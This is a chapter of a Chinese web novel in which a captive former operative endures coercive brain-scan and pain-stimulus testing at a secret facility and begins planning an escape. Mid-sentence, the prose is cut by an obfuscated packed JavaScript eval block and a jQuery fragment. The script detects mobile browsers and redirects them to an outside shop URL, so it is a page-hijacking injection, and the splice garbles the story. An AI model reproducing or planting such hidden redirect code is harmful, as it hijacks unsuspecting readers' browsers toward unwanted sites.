纯白的牢笼里,时间失去了意义,只剩下监护仪规律的滴答声和伤口持续不断的钝痛,提醒着我生命的存在与脆弱。
周玲短暂的探视像一颗投入死水的石子,激起的涟漪尚未平复,却已被冰冷的现实迅速吞噬。
李医生的“检查”变得越来越频繁,也越来越……深入。不再仅仅是查看伤口愈合情况和生命体征,她开始引入一些看似常规,实则刁钻的神经反应测试、瞳孔对光反射的细微观察,甚至是一些带有诱导性的、关于记忆碎片的问题。
“看到这个图像,有熟悉感吗?”
“如果必须在保护一个人和完成任务之间选择,你的本能会倾向于哪边?”
“那个摸耳朵的动作,发生时通常伴随着什么情绪?”
她的问题试图精准地剖开我的大脑,窥探那些连我自己都混沌不清的区域。我大多以沉默或最简短的“不记得”、“不知道”回应。我知道,任何多余的反应都可能成为他们分析“寒霜”与“韩冰”融合程度的样本。
阿杰偶尔也会出现,隔着一段距离,如同观察实验室里的小白鼠,沉默地注视着李医生对我进行的各项“评估”。他的眼神依旧平静无波,但我能感觉到那平静之下隐藏的、巨大的压力和某种……急切。
他们在等什么?等我恢复战斗力?还是等我展现出某种他们期待的“特质”?
腹部的伤口在精心的医疗护理下愈合得很快,缝合线已经被拆除,留下了一道狰狞的粉色疤痕。左腿的骨裂也在好转,虽然还不能剧烈运动,但已能勉强下地行走。身体的恢复似乎让他们很满意,但精神的“评估”却愈发严苛。
这天,李医生带来了一台更加精密的、连接着许多电极的仪器。
“今天进行一次深度脑波扫描和潜意识应激测试。”她一边准备设备,一边用毫无感情的音调通知我,“我们需要记录你在特定刺激下的神经反应模式。”
特定刺激?我心中警铃大作。这绝不仅仅是简单的检查。
我被要求坐在一张特制的椅子上,电极被仔细地贴在我的头皮、太阳穴和颈后。冰凉的凝胶触感让我极不舒服。李医生和那名女护士在仪器后面操作着,屏幕上开始出现复杂跳动的波形图。
“放松,韩先生。只是记录数据。”李医生说道,但她的眼神却紧紧盯着屏幕。
起初,只是一些舒缓的、类似白噪音的声音和不断变幻的、无意义的几何图形。
一些模糊的、高速闪回的画面碎片被投射到我眼前的屏幕上。
这些画面与冰冷的杀戮指令和短暂的情感瞬间交织在一起,如同混乱的碎片,试图搅动我好不容易才稍微平复的意识海洋!
我的呼吸骤然急促!心脏不受控制地加速跳动!监护仪发出了轻微的警报声!
“情绪波动明显。”女护士冷静地报告。
“记录峰值和反应区域。”李医生下令,声音里带着一丝不易察觉的兴奋。
他们在用我最深处的记忆和本能冲突作为刺激源!他们在测试“寒霜”的杀戮本能与“韩冰”的情感牵绊之间的拉锯战!
怒火在我胸腔里燃烧,但我强迫自己冷静。不能让他们得逞!不能被这些刻意制造的混乱吞噬!
我闭上眼,不再去看那些闪烁的画面,不再去听那些扭曲的声音。我开始在心中默数,将注意力集中在呼吸上,试图强行剥离那些被外界激起的情绪波澜。
屏幕上的脑波图像出现了变化,原本剧烈波动的曲线开始趋于平缓,虽然仍有一些细微的紊乱,但不再有之前那种剧烈的峰值。
李医生的眉头微微蹙起,似乎对我的“抵抗”有些意外。
“加大刺激强度,加入痛觉关联记忆。”她冷声吩咐。
下一秒,一股强烈的、类似电击般的刺痛感猛地从我腹部的旧伤位置传来!
“呃!”我闷哼一声,身体不受控制地痉挛了一下,额头上瞬间冒出冷汗。
与此同时,屏幕上再次闪过周玲在火光中哭喊着向我跑来的画面!
痛楚与担忧,绝望与希望,两种极端的感觉被强行捆绑在一起,如同冰与火在我体内疯狂冲撞!
“就是现在!记录!”李医生的声音带着一丝急切。
我死死咬住牙关,指甲深深掐入掌心,用疼痛来对抗疼痛,用意志构筑堤坝,阻挡那试图冲垮理智的情绪洪流。我不能倒下,不能在他们面前彻底失控!
就在我感觉意识即将再次被扯碎边缘时,所有的刺激画面、声音、模拟痛感骤然消失了。
房间里只剩下我粗重的喘息声和监护仪逐渐恢复平稳的滴答声。
我瘫在椅子上,浑身被冷汗浸透,像是刚从水里捞出来,虚脱感排山倒海般袭来。
李医生和女护士则在仪器前忙碌地记录着数据,低声交谈着。
“……抵抗意志超出阈值……”
“……情感关联区域仍有强烈反应……”
“……杀戮本能被有效抑制,但未消失……”
“……需要进一步观察融合稳定性……”
他们的对话片段飘进我的耳朵,冰冷而专业。
过了一会儿,李医生走到我面前,摘下了我头上的电极。
“测试结束。你的表现……很有参考价值。”她看着我,眼神复杂,似乎既有失望,也有某种发现新大陆般的好奇,“回去休息吧。下次评估在四十八小时后。”
下一次?还有下一次?
我被女护士搀扶着,回到了那张冰冷的金属床上。身体极度疲惫,但大脑却异常清醒。
我必须尽快想办法离开这里。
可是,怎么做?这个设施如同铁桶,我身体尚未完全恢复,外面还有严密的看守。
我的目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602036|187525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光落在房间角落的通风口上。那里或许……
就在这时,金属门再次无声滑开。
这次进来的不是医生或护士,而是阿杰。他独自一人,手里没有拿任何文件或设备。
他走到床边,居高临下地看着我,目光如同探照灯,似乎想从我虚弱的外表下看出些什么。
“感觉怎么样?”他开口,声音依旧平淡。
“死不了。”我冷淡回应。
阿杰并不在意我的态度,他沉默了几秒,忽然说道:“‘勋’在本市的据点被基本清除,冷艳确认死亡。王博士下落不明,但‘创世纪’的威胁依然存在。”
他告诉我这些做什么?示好?还是施加压力,暗示我除了依靠他们别无选择?
“所以呢?”我问。
“所以,你的价值更大了。”阿杰直视着我的眼睛,“一个经历了‘创世纪’改造,又与‘勋’正面交锋并存活下来的独特样本。组织需要你,韩冰。需要你的力量,也需要你……脑子里那些可能连你自己都不知道的信息。”
他终于部分摊牌了。他们不仅要我的人,还要我记忆深处可能埋藏的、关于这两个敌对组织的秘密。
“如果我说,我什么都不记得了呢?”我试探道。
“记忆可以遗忘,但本能和技能不会。”阿杰的嘴角勾起一丝极淡的、几乎看不出的弧度,“而且,我们有最好的专家和技术,可以帮助你……‘想’起来。”
他的话语里带着不容置疑的自信和一种令人不寒而栗的暗示。
我心底一片冰凉。果然,他们从未放弃过“修复”我这件武器的打算。
“周玲和她的奶奶,”我转移了话题,这也是我最大的牵挂,“你们打算怎么处置?”
“她们是重要的关联者,尤其是周玲小姐。”阿杰的语气没有任何变化,“她对你的‘情感影响’是极其珍贵的研究数据。在评估结束前,她们会得到妥善的……照顾。”
妥善的照顾?我看着他平静无波的脸,知道这不过是“软禁”的另一种说法。她们和我一样,都是被困在这张无形网中的囚徒。
阿杰没有再说什么,他最后深深看了我一眼,转身离开了。
房间里再次只剩下我一个人。
我靠在床头,看着苍白的天花板,心中的危机感达到了顶点。
时间不多了。下一次“评估”可能就是更危险的试探,甚至是某种形式的“再编程”。
我必须在那之前,找到突破口。
我的目光再次投向那个通风口,一个模糊的计划开始在脑中成型。或许……可以利用下一次周玲探视的机会?
风险极大,但坐以待毙的结局,只会更糟。
在这片纯白的、充满监控的牢笼里,一场无声的逃亡,开始在我心中酝酿。
裂痕,已经出现。
而我,必须抓住它。